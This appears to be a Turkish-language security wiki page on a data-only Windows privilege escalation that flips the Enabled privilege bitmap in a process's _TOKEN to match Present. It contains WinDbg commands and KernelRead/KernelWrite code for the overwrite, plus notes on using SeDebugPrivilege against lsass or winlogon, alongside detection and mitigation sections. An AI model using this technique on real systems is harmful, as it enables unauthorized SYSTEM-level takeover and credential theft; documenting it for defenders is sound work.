_TOKEN privilege bitmap overwrite (data-only privesc)¶
Tüm access token'ı swap etmek yerine, mevcut
_TOKENiçindekiEnabledprivilege bitmap'ini flip et; böyleceSeDebugPrivilege/SeTcbPrivilegegibi gizli privilege'lar aktif hale gelir — minimal, data-only bir Windows privilege escalation'ı.
Mechanism¶
Present ama disabled bir privilege'ı enable etmek neden yeterli
Bir Windows access token'ı (nt!_TOKEN), bir process'in security context'ini taşır.
Privilege state'i, _TOKEN içinde +0x40 offset'indeki bir _SEP_TOKEN_PRIVILEGES
yapısında bulunur ve yalnızca üç adet 64-bit bitmap'tir:
Present— token'ın hangi privilege'ları tuttuğu (LUID bit'i set).Enabled— bunlardan hangilerinin şu anda aktif olduğu.EnabledByDefault— logon'da hangilerinin açıldığı.
OS'in güvendiği invariant Enabled ⊆ Present'tir: SeSinglePrivilegeCheck() gibi bir check
bu bitmap'ler üzerinde yürür ve operasyona yalnızca ilgili bit Enabled'da set
olduğunda izin verir.
Kritik olarak, birçok hassas privilege (örn. SeDebugPrivilege, SeTcbPrivilege,
SeLoadDriverPrivilege) administrative/service token'larında sıklıkla zaten Present'tir
ama disabled bırakılmıştır (Enabled bit'i clear) — whoami /priv'in tam olarak
"Disabled" gösterdiği şey budur. Privilege zaten present olduğu için, kernel onu Enabled
bit'i set edildiği anda kabul eder. Token swap yok, reference-count düzeltmesi yok,
onarılacak bir object header yok: Enabled'ı Present'e eşitleyen tek bir 8-byte'lık write,
tutulan her privilege'ı aktife flip eder.
Data-only varyantının cazibesi budur. Tüm bir SYSTEM token'ını çalmaya (ki bu object
pointer'larını değiştirir ve _EX_FAST_REF reference count'unu korumak zorundadır) kıyasla,
bitmap'i flip etmek hiçbir integrity check'in yeniden doğrulamadığı tek bir field'ı mutate
eder. SeDebugPrivilege ile herhangi bir process'i açıp ona injection yapabilirsin;
SeTcbPrivilege ile OS'in bir parçası gibi hareket edersin — her ikisi de tam SYSTEM'e giden
pratik yollardır.
Walkthrough¶
Bu, data-only bir post-exploitation primitive'idir: bir bug'dan zaten bir kernel write (ve ideal olarak read) primitive'in vardır ve onu kendi process'inin token'ına yöneltirsin.
1. Mevcut process token'ını bul¶
Mevcut _EPROCESS'i bul (örn. bir leak üzerinden çözülen PsGetCurrentProcess ile veya
KPRCB'den yürüyerek), sonra bir _EX_FAST_REF olan Token field'ını oku (düşük 3/4 bit bir
reference count'tur ve mask'lenmelidir):
kd> dt nt!_EPROCESS Token
+0x4b8 Token : _EX_FAST_REF ; offset is build-specific
kd> ? poi(<EPROCESS>+0x4b8) & 0xFFFFFFFFFFFFFFF0
Evaluate expression: 0xffff... = <TOKEN address>
2. Privilege bitmap'lerini incele¶
kd> dt nt!_TOKEN <TOKEN> Privileges
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
kd> dt nt!_SEP_TOKEN_PRIVILEGES <TOKEN>+0x40
+0x000 Present : 0x0000001f`f2ffffbc
+0x008 Enabled : 0x0000000000000800 ; almost nothing on
+0x010 EnabledByDefault : 0x0000000000000800
Burada Present birçok privilege'ı ilan eder ama Enabled'da yalnızca bir bit set'tir —
disabled-ama-present durumu.
3. Enabled == Present yap (bir ya da iki write)¶
Field'lar +0x40 (Present) ve +0x48 (Enabled)'tedir. Present'i Enabled üzerine
(ve isteğe bağlı olarak +0x50'deki EnabledByDefault üzerine) kopyala:
kd> eq <TOKEN>+0x48 0x0000001ff2ffffbc ; Enabled = Present
kd> eq <TOKEN>+0x50 0x0000001ff2ffffbc ; EnabledByDefault = Present
Runtime bir arbitrary-write primitive ile eşdeğer şekil
(KernelWrite(addr, qword)):
ULONG64 present = KernelRead(token + 0x40); // _SEP_TOKEN_PRIVILEGES.Present
KernelWrite(token + 0x48, present); // Enabled = Present
KernelWrite(token + 0x50, present); // EnabledByDefault = Present
All-ones mask'i (0xFFFFFFFFFFFFFFFF) hem Present hem Enabled içine yazmak, tanımlı her
privilege'ı açan daha kaba bir varyanttır.
4. Doğrula ve kullan¶
Userland'e dönünce değişiklik anında görünür:
C:\> whoami /priv
SeDebugPrivilege ... Enabled
SeTcbPrivilege ... Enabled
SeLoadDriverPrivilege ... Enabled
Buradan, SeDebugPrivilege winlogon/lsass'i açıp bir SYSTEM context'ine geçmene izin
verir ve SeImpersonate/SeTcb eşdeğer escalation yolları verir — token object'ini hiç
değiştirmeden privilege escalation'ı tamamlar.
Detection¶
- Low-integrity bir process için
Enabledmask'i anidenPresent'e (veya0xFFFFFFFFFFFFFFFF'e) eşit olan bir token anormaldir; bir driver/EDR, unprivileged process'ler içinEnabled ⊆ EnabledByDefault'ı periyodik olarak bağdaştırabilir. - Önceden bir
AdjustTokenPrivilegesçağrısı olmadan, service olmayan bir process üzerindeSeDebugPrivilege/SeTcbPrivilege'in aniden Enabled olarak görünmesi, doğrudan kernel tampering'i işaret eder.
Mitigation¶
- Altta yatan kernel read/write primitive'ini ortadan kaldır (bu teknik bir tanesini varsayar); HVCI/VBS ve kernel CFG onu elde etmenin maliyetini artırır.
- Hypervisor tabanlı token integrity / token protection,
_SEP_TOKEN_PRIVILEGES'e yapılan out-of-band düzenlemeleri tespit edebilir. - Tüm token hırsızlığının bir kardeş teknik olduğunu unutma; swap-the-pointer varyantı için arbitrary kernel R/W üzerinden access token theft'e bak.